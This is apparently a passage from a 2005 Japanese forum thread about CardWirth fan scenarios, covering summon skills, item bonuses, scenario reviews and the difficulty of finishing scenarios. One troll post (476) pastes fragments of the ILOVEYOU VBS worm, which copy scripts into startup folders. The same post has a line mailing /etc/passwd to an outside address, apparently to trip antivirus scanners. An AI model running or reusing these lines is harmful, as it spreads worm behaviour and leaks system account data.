特に何もすることが無い。

403 :名無しさん@お腹いっぱい。:2005/06/16(木) 14:55:15 ID:O+1ncJJA
>>401
d。そうか…残念。

404 :名無しさん@お腹いっぱい。:2005/06/16(木) 14:57:33 ID:O+1ncJJA
>>403
ひょっとして企画倒れ?
関連シナつくった人が可哀想…

405 :名無しさん@お腹いっぱい。:2005/06/16(木) 14:58:47 ID:1Xw1lBN6
>>401
「ようこそ札闘場へ」っつーのがそうなんじゃないの?

406 :名無しさん@お腹いっぱい。:2005/06/16(木) 15:01:15 ID:Bo+yI0K7
うん、書類氏のようこそ〜がカードマニアと捉えても問題ない。
Tom氏のカードマニアは企画提案だけってことで。

407 :名無しさん@お腹いっぱい。:2005/06/16(木) 15:04:01 ID:O+1ncJJA
>>406
それって、ベクターにあるやつだな。
やってみる、ありがとう。

408 :名無しさん@お腹いっぱい。:2005/06/16(木) 15:13:57 ID:tnFaFoJR
>>396
あのシナは死神技能は強いけど吸血鬼技能が冷遇されてる。

409 :名無しさん@お腹いっぱい。:2005/06/16(木) 17:28:23 ID:RjE7nk+v
『妖魔の眠る墓』の18禁度について教えてエロイしと

410 :名無しさん@お腹いっぱい。:2005/06/16(木) 17:30:31 ID:XuPRp/t6
18禁シーンがメインイベント。
後は戦闘。

411 :名無しさん@お腹いっぱい。:2005/06/16(木) 17:31:56 ID:tnFaFoJR
戦闘>性行為の繰り返し。描写はしっかりしてるけどわりとアッサリした印象。

412 :名無しさん@お腹いっぱい。:2005/06/16(木) 17:39:59 ID:eRy9NNER
>>409
エロ画像は74×94画像二枚で構成されるNPCの裸身(+顔画像)のみで、
基本的には文章とデフォルト効果音によるエロ。

エロシーンはNPCのメインヒロイン一人とPCの男性一人の絡みだけで、
PC女性のエロはない。

413 :名無しさん@お腹いっぱい。:2005/06/16(木) 18:06:58 ID:mwF75pkI
ちなみに女を主人公に選ぶと両性具有という設定になります

414 :名無しさん@お腹いっぱい。:2005/06/16(木) 18:22:23 ID:wZ7Uy9aw
とか丁寧に説明するとうpスレにうpしてくれよと厨が沸くのでした

415 :名無しさん@お腹いっぱい。:2005/06/16(木) 18:25:47 ID:+0MZJw0I
どうせ四人中、三人ぐらいはUPしてもらったヤツだろ?
得意げに語ってんじゃねえよな、乞食が。

416 :名無しさん@お腹いっぱい。:2005/06/16(木) 18:29:51 ID:mwF75pkI
メール送れば貰えるのに(略
というかやたら乞食好きな人がいますね。

417 :名無しさん@お腹いっぱい。:2005/06/16(木) 18:40:27 ID:p0J2wHgp
>>409の話で思い出したけど、たろう氏のプライベートシナでメールでのみ配信するシナリオをやった人いる?
笑えるのだが結構引いたな。
よくあんなのが作れるよ。

418 :名無しさん@お腹いっぱい。:2005/06/16(木) 18:49:43 ID:wZ7Uy9aw
作った当人が何かしら問題がある、
と思うからプラベでその上メール配布なんだろう。

419 :名無しさん@お腹いっぱい。:2005/06/16(木) 20:23:10 ID:p0xa4/NM
召喚スキル扱ってるシナってあんまり多くない気がするんだけど(オレの気のせいだったらゴメン)
召喚取り扱ってる店シナっていいのない?

リューンはもちろん、ポートリオン、精霊の店_八精宮ってのは行ってみたんだけど
もう少し色々見てみたい。


420 :名無しさん@お腹いっぱい。:2005/06/16(木) 20:29:36 ID:nMfmXsaV
キーレに二つ。NIFQ氏の店シナ(四つくらい)に多数。

421 :名無しさん@お腹いっぱい。:2005/06/16(木) 20:29:46 ID:NHUe2M+2
>>419
結構バランスが変になりがち、というのがある。
あと、召喚って対象に思い入れがあると段違いだから、
頻繁に冒険の途中に手に入るんだよね。
なので、店にはあんまり無い。一応、憶えているのとしては、
ミーティア、サルディニア(「知識の守り手」クリア後の店シナ)、
StarDust、下男、フォルザーヴ、魔導都市マサカ等にあったと思う。

422 :名無しさん@お腹いっぱい。:2005/06/16(木) 20:30:25 ID:G6gCFWA1
結果的に召喚獣を付与するシナならあるが、それがまんま召喚獣っていうスキルは割と少ないね

423 :名無しさん@お腹いっぱい。:2005/06/16(木) 20:42:41 ID:nMfmXsaV
後若干召喚とは違うが紅の杖とかもあったな。

424 :名無しさん@お腹いっぱい。:2005/06/16(木) 20:48:05 ID:PYzFcWbl
3つのシナで多くないというのもどうかと思うが

425 :419:2005/06/16(木) 20:59:29 ID:p0xa4/NM
いろいろthx。

…店シナリオの量から言ったら
3つしか見てないのはまだ「多くない」と言えると思ったんだけど。


426 :名無しさん@お腹いっぱい。:2005/06/16(木) 21:02:30 ID:T39YcqA2
店シナの量と比べたらどう考えても多くない。
PCが使うことを想定したら、選択肢は十分にあるとも入れるのかもしれないが…

427 :名無しさん@お腹いっぱい。:2005/06/16(木) 21:12:16 ID:uSiuAj9+
うちに召喚術師いるけど、スキルは↓な感じ。

魔法使いと科学者の「戦精召喚」
隠者の「黒豹召喚」
深海の盟主の「海精召喚」
ハルコロの「雷龍召喚」
ジェーンと黄金の魚の「白澤召喚」
魔剣工房の「風精王召喚」

イベントの報酬で手に入れた
思い入れのあるヤツを優先して使ってる。

428 :名無しさん@お腹いっぱい。:2005/06/16(木) 21:22:03 ID:nMfmXsaV
思い入れはあるんだが強すぎたり、
キーコードイベントがうざかったりで使えないのもあったり。
かなり以前だが雷の精霊を召喚、みたいなスキルでそんなこと思ったことがある。

429 :名無しさん@お腹いっぱい。:2005/06/16(木) 22:15:50 ID:Fq2yE5q/
ところで「召喚獣を召喚する召喚獣」はバグり易いと聞いたんだがマジ?
俺、召喚獣を召喚する召喚獣が好きだから
いろいろ作ってみようかと前から思ってたんだが止めといた方がよさげ?

430 :名無しさん@お腹いっぱい。:2005/06/16(木) 22:16:42 ID:nMfmXsaV
バグり安いというか単に処理が難しいだけでは?

431 :名無しさん@お腹いっぱい。:2005/06/16(木) 22:18:39 ID:catEDhqY
>>429
使用イベントもあるから一応可能。

ただ、その召喚獣は容量食うぜ。

432 :名無しさん@お腹いっぱい。:2005/06/16(木) 22:22:54 ID:G6gCFWA1
最終的に処理が重くなりすぎるとは聞いたことがある

433 :名無しさん@お腹いっぱい。:2005/06/16(木) 22:28:20 ID:gwA9zHdJ
巨人を狩る者だと、召喚獣をカード効果で召喚獣召喚していた。
ありゃ、データを直接弄る知識が無いと無理っぽいが。

434 :名無しさん@お腹いっぱい。:2005/06/16(木) 22:31:46 ID:catEDhqY
>>433
いや、ものすごく簡単。
スキルで作っておく→Skill**.widをBeast**.widにする
これだけ。

435 :名無しさん@お腹いっぱい。:2005/06/16(木) 22:33:20 ID:T39YcqA2
これは知らんかった。
情報サンクス!

436 :名無しさん@お腹いっぱい。:2005/06/16(木) 22:43:03 ID:TJsh4xO0
>>433-434
えっ、よくわからん。
433がどういう現象なのか解説きぼんぬ。

437 :名無しさん@お腹いっぱい。:2005/06/16(木) 22:47:26 ID:Fq2yE5q/
おお、こんな裏技が…っていいのか?これ

>>436
まず巨人を狩る者をエディタで開いて
勇士の影っていう召喚獣を見てみろ
そして、召喚獣の付与をつけようとしてみろ
出来ないから

438 :名無しさん@お腹いっぱい。:2005/06/16(木) 23:37:00 ID:NHUe2M+2
うぉー、そもそも召喚中の効果から、召喚をすることが禁止されてるなんて初めて知った;

439 :名無しさん@お腹いっぱい。:2005/06/16(木) 23:40:32 ID:s+rk8R8o
今思ったがアイテムからのほうがよかったかなぁ。
一応スキルのほうでもスキルレベルを使用回数にすれば手間が省けるが。


…同じか。

440 :名無しさん@お腹いっぱい。:2005/06/16(木) 23:45:17 ID:JCYFboCj
>>304
スリーピングマッドネスたんを馬鹿にするなああああああああああああ

441 :名無しさん@お腹いっぱい。:2005/06/16(木) 23:45:17 ID:cWEUwvIy
召喚獣を召喚する召喚獣……触手の卵じゃねーか!

442 :名無しさん@お腹いっぱい。:2005/06/16(木) 23:47:46 ID:T39YcqA2
>>440
いまさらかよッ!

443 :名無しさん@お腹いっぱい。:2005/06/16(木) 23:48:58 ID:s+rk8R8o
>>441
まぁアレは使用時イベントでの付与だったと思う。


…だったよな?

444 :名無しさん@お腹いっぱい。:2005/06/17(金) 00:00:33 ID:rLY1gdZy
>>441
まあその話だったらあっちでやろうぜ

445 :名無しさん@お腹いっぱい。:2005/06/17(金) 00:04:46 ID:ukirVkXz
441はエシディシの残骸がとりつきますた

446 :名無しさん@お腹いっぱい。:2005/06/17(金) 00:05:42 ID:Tv+A+YVm
どの話か分からない
詳しく教えて欲しい

447 :436:2005/06/17(金) 00:35:46 ID:eQjyz5nb
>>437
わかった。サンクス。
使用時イベント以外で召喚獣付与できるって話だったのか。

448 :名無しさん@お腹いっぱい。:2005/06/17(金) 19:33:51 ID:OiIZzvj5
遂に13魔女を全員倒した…長かった……

449 :名無しさん@お腹いっぱい。:2005/06/17(金) 19:34:42 ID:F+IvmZ2y
>>448
ボーナスは取ったか?

450 :名無しさん@お腹いっぱい。:2005/06/17(金) 19:38:28 ID:OiIZzvj5
>>449
早いな。
ボーナス無しでクリアは余裕なんだけど、眠り姫のボーナスだけ取れなかったんだ
でも、先刻ようやく倒せたよ

451 :名無しさん@お腹いっぱい。:2005/06/17(金) 19:40:41 ID:F+IvmZ2y
>>450
眠り姫か。あれはなかなか難しいな。ともあれおめでとう。

452 :名無しさん@お腹いっぱい。:2005/06/17(金) 19:53:04 ID:OiIZzvj5
>>451
序盤の雪の女王や白雪姫あたりも結構きつかったけどね
ともあれ有り難う

453 :名無しさん@お腹いっぱい。:2005/06/17(金) 23:04:06 ID:F+IvmZ2y
ポボスの酒はやっぱり飲むんだろうか…。

454 :名無しさん@お腹いっぱい。:2005/06/17(金) 23:07:10 ID:OiIZzvj5
飲むんじゃないかな、何しろ酒だし
とは言ってもやっぱり抵抗があるような気はするね

455 :名無しさん@お腹いっぱい。:2005/06/17(金) 23:08:57 ID:xMFI2MDo
虫と酒(酢)、どっかっていわれたらどっちになりたい?

456 :名無しさん@お腹いっぱい。:2005/06/17(金) 23:09:03 ID:F+IvmZ2y
問題は、力を回復した後酒がどこから出てくるかだ。
酒瓶から汗のように染み出してくるのだろうか。

457 :名無しさん@お腹いっぱい。:2005/06/17(金) 23:10:25 ID:F+IvmZ2y
>>455
酒のほうがいいかなぁ。
ただ、Lv+熟練度が11以上必要だった気はするが。

458 :名無しさん@お腹いっぱい。:2005/06/17(金) 23:10:42 ID:efeZXuvm
酢酸だからな

459 :名無しさん@お腹いっぱい。:2005/06/18(土) 03:07:24 ID:k4+yybqg
飲むよりも、飲まれる時の感覚が気になる

460 :名無しさん@お腹いっぱい。:2005/06/18(土) 03:55:18 ID:CyZlUa1w
酒は飲んでも飲まれるな。

…ゴメンナサイ

461 :名無しさん@お腹いっぱい。:2005/06/18(土) 09:56:16 ID:vUQvyE/G
猫猫ダンス
一言で言えばDDR

462 :名無しさん@お腹いっぱい。:2005/06/18(土) 13:46:34 ID:ph4HkCKG
ライラの心臓

冒険者だけで事をこなそうとすると汚名クーポン確定。
見せ場は全てNPCに譲りましょう。

463 :名無しさん@お腹いっぱい。:2005/06/18(土) 13:48:18 ID:sfkFNxgB
>>462
お前絶対わざとやってるだろ。

スルーで

464 :名無しさん@お腹いっぱい。:2005/06/18(土) 14:02:55 ID:MjG7X6jN
変異の泉で使われた設定の詳細が知りたい。

465 :名無しさん@お腹いっぱい。 :2005/06/18(土) 14:09:35 ID:gMmgYVIP
>>464
つ「リードミー嫁」

466 :名無しさん@お腹いっぱい。:2005/06/18(土) 14:27:17 ID:atkVbJ2x
作者にメールしろ

467 :名無しさん@お腹いっぱい。:2005/06/18(土) 14:33:49 ID:MjG7X6jN
要するにDoll設定をもっとちゃんとした形で公開してほしい。
>>465
読んだ。
>>466
わかった。

468 :名無しさん@お腹いっぱい。:2005/06/18(土) 15:09:50 ID:d9+utvaH
Dollって設定に完全に対応するわけじゃないけど、世界観として根底にあるって使い方も
勝手にやっちゃダメだったっけ?

469 :名無しさん@お腹いっぱい。:2005/06/18(土) 15:18:09 ID:atkVbJ2x
いや、煮ようが焼こうが勝手だが、
未完成なのでツッコミどころがあったり、
後日変わったりするかもしれませんよ、
ってだけだったと思う。

470 :名無しさん@お腹いっぱい。:2005/06/18(土) 15:26:07 ID:d9+utvaH
そうか、なら地味にリンクしてたりしよ。

471 :名無しさん@お腹いっぱい。:2005/06/18(土) 18:47:44 ID:UVd9tSih
アイテムの所持ボーナスって重複したり相殺されたりする?
回避防御ペナルティがマイナス2のもん、二つ持つかどうかで困ってるんだが。

472 :名無しさん@お腹いっぱい。:2005/06/18(土) 18:53:35 ID:EJIdI9jz
>>471
+9までは効果重複。それ以上は幾ら持っても+10にならない。
+10にするには+10のものを一つ持つしかない。
-はどうだったかな。たぶん同じだと思うが。

473 :名無しさん@お腹いっぱい。:2005/06/18(土) 18:57:39 ID:UVd9tSih
>>472
d。
相殺出来るアイテム探すかな。

474 :名無しさん@お腹いっぱい。:2005/06/18(土) 20:46:56 ID:O3AnouFb
>回避防御ペナルティがマイナス2のもん、二つ

鎧系の防御ボーナスアイテム?
そうじゃないなら、いっそ回避は捨てて
そういう鎧系とか持って防御を固めるってのは?


475 :名無しさん@お腹いっぱい。:2005/06/18(土) 21:59:02 ID:Tv2Ma4ln
ヴァンドール産のフルプレートとタワーシールド装備でそんな感じになれるな。
もはや冒険者と言うより重騎士だが。

476 :3.5減:2005/06/18(土) 22:06:42 ID:kgfRzdUP
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

477 :名無しさん@お腹いっぱい。:2005/06/18(土) 22:34:08 ID:iQKeonsI
ノートン先生・・・

478 :名無しさん@お腹いっぱい。:2005/06/18(土) 22:47:21 ID:4iolQLjT
スレッドが見たいです……

479 :名無しさん@お腹いっぱい。:2005/06/18(土) 23:04:56 ID:oCXk/g1K
でも回避が重要な場面も結構ありそうだよな。
グールの爪とか死の接触とか。
アレいくら防御固めてもよけれなきゃ意味無いし。


480 :名無しさん@お腹いっぱい。:2005/06/18(土) 23:05:31 ID:YZ2CMsTN
476が何なのか分からない俺ガイル。
アレか、コマンドプロンプトで実行すると酷い事になるって奴か。

481 :名無しさん@お腹いっぱい。:2005/06/18(土) 23:09:03 ID:bKIiNLHY
>>480
ノートンを入れてるとログをウィルスと誤認する罠レス。

482 :480:2005/06/18(土) 23:15:23 ID:YZ2CMsTN
>>481
うわ、そんな物もあるのか。すげえな。
俺はソースネクストだから影響が無かったんだな。


ともあれTHX。そしてスレ違いスマソ

483 :名無しさん@お腹いっぱい。:2005/06/19(日) 00:10:48 ID:9SJ066FT
相変わらず荒らしが粘着してるのか

484 :名無しさん@お腹いっぱい。:2005/06/19(日) 00:16:49 ID:okyXcEgu
そういえばノートン先生こそ「重装鉄壁」の典型じゃないかー

485 :名無しさん@お腹いっぱい。:2005/06/19(日) 00:38:24 ID:AjfYg6K9
ノートン先生は味方すら信頼してないからな

486 :名無しさん@お腹いっぱい。:2005/06/19(日) 00:39:04 ID:eNPtkZMv
慎重すぎて罠に引っかかる憎めない盗賊型NPCですか

487 :名無しさん@お腹いっぱい。:2005/06/19(日) 01:00:42 ID:I/HauEZd
ベクターに新シナがきてるっぽい

488 :名無しさん@お腹いっぱい。:2005/06/19(日) 01:26:34 ID:V2YKw4r+
>>487
シュメリアの遺跡って、前からあったよ。
バージョンアップじゃないか?


489 :名無しさん@お腹いっぱい。:2005/06/19(日) 01:53:38 ID:eNPtkZMv
>>487
プレイしたのでレビューしてみる。これだよな?
蒼竜の瞳(ベクシナ)
娘さんに求婚するために、冒険者が蒼竜の瞳という宝石を取りに行く
狂い系コメディ&探索&バトルシナ。処女作とのことだがキーコードによる
隠しイベントがいくつか設定されており、バトルも処女作にしては工夫されている。
主役を張る冒険者が果てしないバカかつお調子者であったり、CW特殊文字の多用や
「OK」欄での突っ込みなど、狂い系のノリが許容できる人であれば楽しめるのではないか。
個人的には娘求婚+狂い系という要素で、なんだか懐かしい気持ちになった。

490 :名無しさん@お腹いっぱい。:2005/06/19(日) 16:07:34 ID:R5WsLhpG
作りかけを土曜から作業して半分くらいまでできたんだが
どうにも面白くなさそうなんだがどうしよう

491 :名無しさん@お腹いっぱい。:2005/06/19(日) 16:13:09 ID:fl+/TBFY
>>490
とりあえず完成してから考える。

492 :名無しさん@お腹いっぱい。:2005/06/19(日) 18:25:53 ID:DyuXRXn7
>>490
30分以内で終わるような中篇なら、俺が代わりに作ってやる。
無論話の筋は自己流にアレンジさせてもらうが。

493 :名無しさん@お腹いっぱい。:2005/06/19(日) 19:34:35 ID:HkVcv0ld
俺も1つのゲームを延々と作ってると、本当にこれが面白いのか疑問に思うことがある(CWじゃないけど)。

CWの作者でたまに見かけるが、
数日で完成させて、それを数多く発表するというタイプの方が良いような気がしてくる。

494 :名無しさん@お腹いっぱい。:2005/06/19(日) 19:37:57 ID:1T5pE+IQ
>>493
俺も今一作7割方出来てきたが、面白いのかわからん。
そんで推敲したら前より良くなるから、これでいいのかって悩むな。

ゲームの完成っていうのはどういう所なんやら。

495 :名無しさん@お腹いっぱい。:2005/06/19(日) 20:07:58 ID:Mtwi5DUw
ところで遅ればせながら、初めて呪歌シナやったよ。
エディタでスキル見てたら、
やっぱ文鳥氏と砂蜘蛛氏とおやじは偉大なんだと思った。

あと俺のシナねえ〜って思ってたら、
それ以前に自分のシナをクリアしてなかったね。orz

496 :名無しさん@お腹いっぱい。:2005/06/19(日) 22:50:01 ID:Z+PmoEmY
>>490
面白いかどうかは他人が決めるものだ
駄目だったらそれを教訓に次がんばれ
未完成で放置された名作よりも、完成した駄作のほうが偉いんだ

>>495
何の話だ?

497 :名無しさん@お腹いっぱい。:2005/06/19(日) 22:56:58 ID:TAI7NuSL
>>494
推敲して良くなるんなら良くできなくなるまで推敲すべきじゃないか?極論だけど。

498 :名無しさん@お腹いっぱい。:2005/06/19(日) 23:22:21 ID:jT5Bqzwp
>>495

つ ttp://wirth.hp.infoseek.co.jp/ の59番

やるかどうかはお前次第。
まあ普通の店シナだけどな。



499 :名無しさん@お腹いっぱい。:2005/06/19(日) 23:34:07 ID:Z+PmoEmY
>>498
喪スレじゃねぇか
そっちの事はそっちで話しろよ

500 :名無しさん@お腹いっぱい。:2005/06/19(日) 23:53:19 ID:wIpmz20A
キモメンの豚小屋よろしく著作権無視フィーバーじゃん。
何処が普通よ?

501 :名無しさん@お腹いっぱい。:2005/06/20(月) 00:10:00 ID:SEve5Gwz
>>495>>498を見て
私怨で荒らし依頼をする池沼を思い出した

502 :490:2005/06/20(月) 00:30:44 ID:QHK6KKCr
>492とか
他の人のシナの中身を覗いてたら半分嫌になってきたが
まあ一応作ってみようかと思った。

503 :名無しさん@お腹いっぱい。:2005/06/20(月) 01:21:36 ID:OWx3mJGe
俺も完成途中で放棄したシナは数知れず、
完成してもそのまま削除しちゃったシナも沢山ある。
で、結局一つも公開しないまま今に至るわけだが・・・。

難しいなシナ作りって。

504 :名無しさん@お腹いっぱい。:2005/06/20(月) 01:31:21 ID:5gCYgwl4
自分で作ったシナほど、面白さが分からない物は無い。
俺の場合、作った直後は「俺スゲー!面白れー!」とか息巻いてるんだが
一週間も過ぎて再プレイすると「‥‥なに、この駄シナ‥‥」と。
そんで直す意欲も起きずゴミ箱へ‥‥。‥‥あ、俺も未だに一つも公開していないな orz

505 :名無しさん@お腹いっぱい。:2005/06/20(月) 01:32:05 ID:SEve5Gwz
諦めたらそこで試合終了ですよ(AA略

506 :名無しさん@お腹いっぱい。:2005/06/20(月) 01:39:51 ID://zrWUAc
            ヾヽ'::::::::::::::::::::::::::'',    / 出 .シ ま ヽ
             ヾゝ:::::::::::::::::::::::::::::{     |  来 .ナ だ  |
             ヽ::r----―‐;:::::|    | じ を    |
             ィ:f_、 、_,..,ヽrリ    .|  ゃ 公     |
              L|` "'  ' " ´bノ     |  な 開     |
              ',  、,..   ,イ    ヽ い す    /
             _ト, ‐;:-  / トr-、_   \  る   /
       ,  __. ィイ´ |:|: ヽ-- '.: 〃   `i,r-- 、_  ̄ ̄
      〃/ '" !:!  |:| :、 . .: 〃  i // `   ヽヾ
     / /     |:|  ヾ,、`  ´// ヽ !:!     '、`
      !      |:| // ヾ==' '  i  i' |:|        ',
     |   ...://   l      / __ ,   |:|::..       |
  とニとヾ_-‐'  ∨ i l  '     l |< 天  ヾ,-、_: : : .ヽ
 と二ヽ`  ヽ、_::{:! l l         ! |' 夂__ -'_,ド ヽ、_}-、_:ヽ

507 :名無しさん@お腹いっぱい。:2005/06/20(月) 01:41:32 ID:wP1VmjrU
>>504
なんて勿体無いことをッ!

508 :名無しさん@お腹いっぱい。:2005/06/20(月) 06:08:23 ID:hfZQOu4+
二年がかりで作ったシナを放り出した経験がある。
「とりあえず9割方完成」という段階でテストプレイしたらあまり面白くなかったので、
推敲に推敲を重ねた、ボリューム不足だった部分を増強していったのだが、
枝葉ばかり増えてどんどん完成から遠ざかって、
オートマッピングのダンジョンを管理するためのフラグが多くなりすぎて
エディタが重くて動かなくなってしまい、
それでも全然ボリュームが物足りなくて面白くなかったので、
こりゃ企画段階から腐ってる駄目シナだと気がついた。

そして、シナのために用意した大量の専用素材を元に素材屋として開業した。

509 :名無しさん@お腹いっぱい。:2005/06/20(月) 07:32:26 ID:8vBcfNdd
>>507
おまいが未来の俺だったらどうしよう_| ̄|○

510 :名無しさん@お腹いっぱい。:2005/06/20(月) 08:03:06 ID:2nM7Ap8f
作者本人による「面白い」「面白くない」の判断ほど当てにならんものはない

511 :名無しさん@お腹いっぱい。:2005/06/20(月) 10:31:28 ID:9ZtsukIx
捨てたら絶対ダメだよ。作ったシナは公開するべき。
たとえ酷評を受けてもそのほうが作家として成長する。
ギルドには載せん方がいいが。

512 :名無しさん@お腹いっぱい。:2005/06/20(月) 11:21:37 ID:xzbaXXvW
数年前の駄シナフィーバーの頃なら、公開もしやすかったんだが
今は普通におもしろいシナでも叩かれまくりだしな・・・
2ch見てなければこんな心配もせずに済むんだろうけど

513 :名無しさん@お腹いっぱい。:2005/06/20(月) 12:29:00 ID:goYzNg9X
>>508
連作まじおすすめ

>>511
指摘を受けて勉強するためにだな

514 :名無しさん@お腹いっぱい。:2005/06/20(月) 13:52:41 ID:BYUDIM+j
連作っていや魔神のテスト出てたけど、あれ今回ので完結?

515 :508:2005/06/20(月) 14:34:38 ID:G0K9DH2u
>>513
ごめん無理。
「漢の生き様」や「連続殺人事件」みたいな、
隠しイベントを探しながらやり込むことが前提のマルチストーリーツナだったので。

516 :名無しさん@お腹いっぱい。:2005/06/20(月) 15:23:27 ID:wP1VmjrU
やりこみ型なら、結構時間をかけて作っただろうに…

517 :名無しさん@お腹いっぱい。:2005/06/20(月) 20:26:31 ID:J6EQKOUQ
CWでやりこみ型とはまた手間のわりに報われない選択を。
俺みたいに一回クリアしたらそのまま消印つけちゃうやつも多いだろうに。

518 :名無しさん@お腹いっぱい。:2005/06/20(月) 21:06:03 ID:snYP6Uib
やりこみ型はついつい依頼人を殺したりリューンを破滅させたりしてしまう

519 :名無しさん@お腹いっぱい。:2005/06/20(月) 21:10:30 ID:goYzNg9X
やりこみ型ねぇ
じゃあこんな言葉を

「不要な物を切り捨てるのも推敲」だぜ?
無駄に色々多いのは完成度が高いのではない
ただのオナニーだ

520 :名無しさん@お腹いっぱい。:2005/06/20(月) 21:16:28 ID:J6EQKOUQ
いや、オナニーでも面白ければいいんだけどな。
自分の思い通りの行動を選べる機会が多いのは魅力だし。
完璧プレイ好きには煩わしいだけかもしれないが。


521 :名無しさん@お腹いっぱい。:2005/06/20(月) 21:18:05 ID:PrlsKEIB
面白いシナはオナニーじゃないと思う。

522 :名無しさん@お腹いっぱい。:2005/06/20(月) 21:19:39 ID:hD/wYl6F
>>519
そんなこといってたヤツに限ってユーティリティとか
ミニゲームしか作れん種無し馬な件。

523 :名無しさん@お腹いっぱい。:2005/06/20(月) 22:33:33 ID:goYzNg9X
知らんよ
本人がツマランんって言ってるし
見る手段もないしな

524 :名無しさん@お腹いっぱい。:2005/06/20(月) 22:39:59 ID:hU3zRgMo
>>523が意味不明な件。


どうでもいいけど

525 :名無しさん@お腹いっぱい。:2005/06/20(月) 22:48:45 ID:hD/wYl6F
まぁプルったんだろ。w

526 :名無しさん@お腹いっぱい。:2005/06/20(月) 23:02:51 ID:8bLKPnvr
公式ファンページに入れねぇorz
もう一回始めてみようかと思ったのに1.28がDLできない…

527 :名無しさん@お腹いっぱい。:2005/06/20(月) 23:05:59 ID:ukQEliAs
>>526
1.20で我慢汁。

528 :名無しさん@お腹いっぱい。:2005/06/20(月) 23:42:51 ID:xm3J0zYm
厨房サイトがあぼーんしたかと思ったら
虹サイトもdでくれたか。

自治屋気取りの面倒な連中がまとめて消えて至極愉快。

529 :名無しさん@お腹いっぱい。:2005/06/21(火) 00:10:19 ID:DqWD8URz
しかし新バージョンが入手できずに旧バージョンが入手可能っていうのもなんかヘンな話だな。
所詮完全なオフィシャルではないとはいえ、一応公式名乗ってるところが飛ぶとは……

530 :名無しさん@お腹いっぱい。:2005/06/21(火) 00:15:21 ID:aTU+zJML
まじで見られないな……シナリオ預けててこれまでは上手くいってるから、
できればこのまま続けてほしいんだが……

531 :名無しさん@お腹いっぱい。:2005/06/21(火) 00:19:24 ID:HSaZ8z2L
>>530
一時的じゃないの?

532 :名無しさん@お腹いっぱい。:2005/06/21(火) 00:20:12 ID:YnSCxWoZ
以前ASK公式が一時的にdだこともあったし、
別に騒ぐこっちゃねーべ。

533 :名無しさん@お腹いっぱい。:2005/06/21(火) 02:58:19 ID:/SEGZxdt
ここの奴等は何でこんなに慌ててるんだ?

534 :名無しさん@お腹いっぱい。:2005/06/21(火) 04:59:47 ID:XIRa9W7P
>>529
サーバーの問題って可能性は高い。
公式と言っても企業じゃないんだ、責められる所はないだろう。

535 :名無しさん@お腹いっぱい。:2005/06/21(火) 05:58:55 ID:xpgUx9Hd
復活してるな。

536 :名無しさん@お腹いっぱい。:2005/06/21(火) 08:08:39 ID:MjTi5n/u
>>528
路川乙

537 :名無しさん@お腹いっぱい。:2005/06/21(火) 14:21:59 ID:6bAYIRDb
っていうか、企業ですら鯖落ちは普通に有ったりするわけで・・・。
それも全店舗を統括しているサーバーが落ちたりとか・・・。

なあ、GEO。

538 :名無しさん@お腹いっぱい。:2005/06/21(火) 16:53:15 ID:rMp8W4Kd
>>536
ひさびさにでたな。>炉川

539 :名無しさん@お腹いっぱい。:2005/06/21(火) 17:20:48 ID:KLoyU4mj
名前すら忘れてたわ

540 :名無しさん@お腹いっぱい。:2005/06/21(火) 19:11:25 ID:/u69RxDn
思い出すだけ損だけどな

541 :名無しさん@お腹いっぱい。:2005/06/21(火) 19:14:08 ID:qqFW7DEE
もう忘れた

542 :名無しさん@お腹いっぱい。:2005/06/21(火) 19:16:04 ID:PB8gXzt1
もう忘れろ

543 :名無しさん@お腹いっぱい。:2005/06/21(火) 19:26:15 ID:mrZqktzu
>>533
管理人がいないから。

544 :528:2005/06/21(火) 19:33:25 ID:y+WtiI+4
なんだ、もう虹サイトが復活したのかw早漏杉だなw

糞アンテナにも厨サイトや自治屋気取りの老害サイトばっかあがってマジうぜー。

545 :名無しさん@お腹いっぱい。:2005/06/21(火) 19:44:50 ID:oiuDRokc
全くだ。あのまま永眠してくれりゃよかったのに。w
でもまぁワース界の粗大ゴミ、書類の谷のことだから
虹が消えたら消えたでまた別の組織に取り入って腐敗させるんだろうがな。

546 :名無しさん@お腹いっぱい。:2005/06/21(火) 19:50:05 ID:rb4VoRfu
よろしいですか?よろしいですね?




>>544-545
自演乙

547 :名無しさん@お腹いっぱい。:2005/06/21(火) 19:52:22 ID:n3q3pfeq
ああ、それじゃ今までやったシナの中で印象に残ったセリフを挙げてみないか?
おぼえてる範囲内で少々違ってもおkで。
りゃくしてても可能。
おれが一番印象に残ってるのは、

つ 「人を助けたいと思うのも当たり前の事だろ」(当たり前の事)

548 :名無しさん@お腹いっぱい。:2005/06/21(火) 19:55:00 ID:8Z0scT+k
>>547
「家には三歳になる子供が!」
「安心しろ、テメェの首を届けてやるぜ!」(効果:会心)

549 :名無しさん@お腹いっぱい。:2005/06/21(火) 19:55:43 ID:8Z0scT+k
出典は「連続殺人事件」な。

550 :名無しさん@お腹いっぱい。:2005/06/21(火) 20:02:08 ID:WX8u6yjJ
粗野で盗賊の子供♀PCが、語尾に「や」付けてたのが印象的だった。
「任せろや」とか。

551 :名無しさん@お腹いっぱい。:2005/06/21(火) 20:25:36 ID:5FSEkT9X
「竜はただそこにいた。それだけなのです」 by 竜殺しの墓

一時一句覚えているわけではないし、PCで変わるセリフだけど、こんな感じなのが記憶に残っているな。
良いシナは締めを飾る言葉が素晴らしね。

552 :名無しさん@お腹いっぱい。:2005/06/21(火) 20:27:31 ID:WX8u6yjJ
まともに選ぶなら「地下二階の役立たず」の人形の台詞とか、
シーン込みならカガミノ中ノイクサのラストの台詞とか。

平江氏のツナの台詞回しは全般的に好きだ。

553 :名無しさん@お腹いっぱい。:2005/06/21(火) 20:58:45 ID:p59PkF5o
盗賊「ビケヤロウ!!自警団が怖くて盗賊が出来るかぁ!!!」
PC「おう、それは一理あるな」

by音の鳴らないオルゴール

うちの盗賊役に惚れ直した。

554 :名無しさん@お腹いっぱい。:2005/06/21(火) 21:00:37 ID:3QBXA6kh
「ジェーンとニンニクと不死の女王と」でカルミナ戦後の
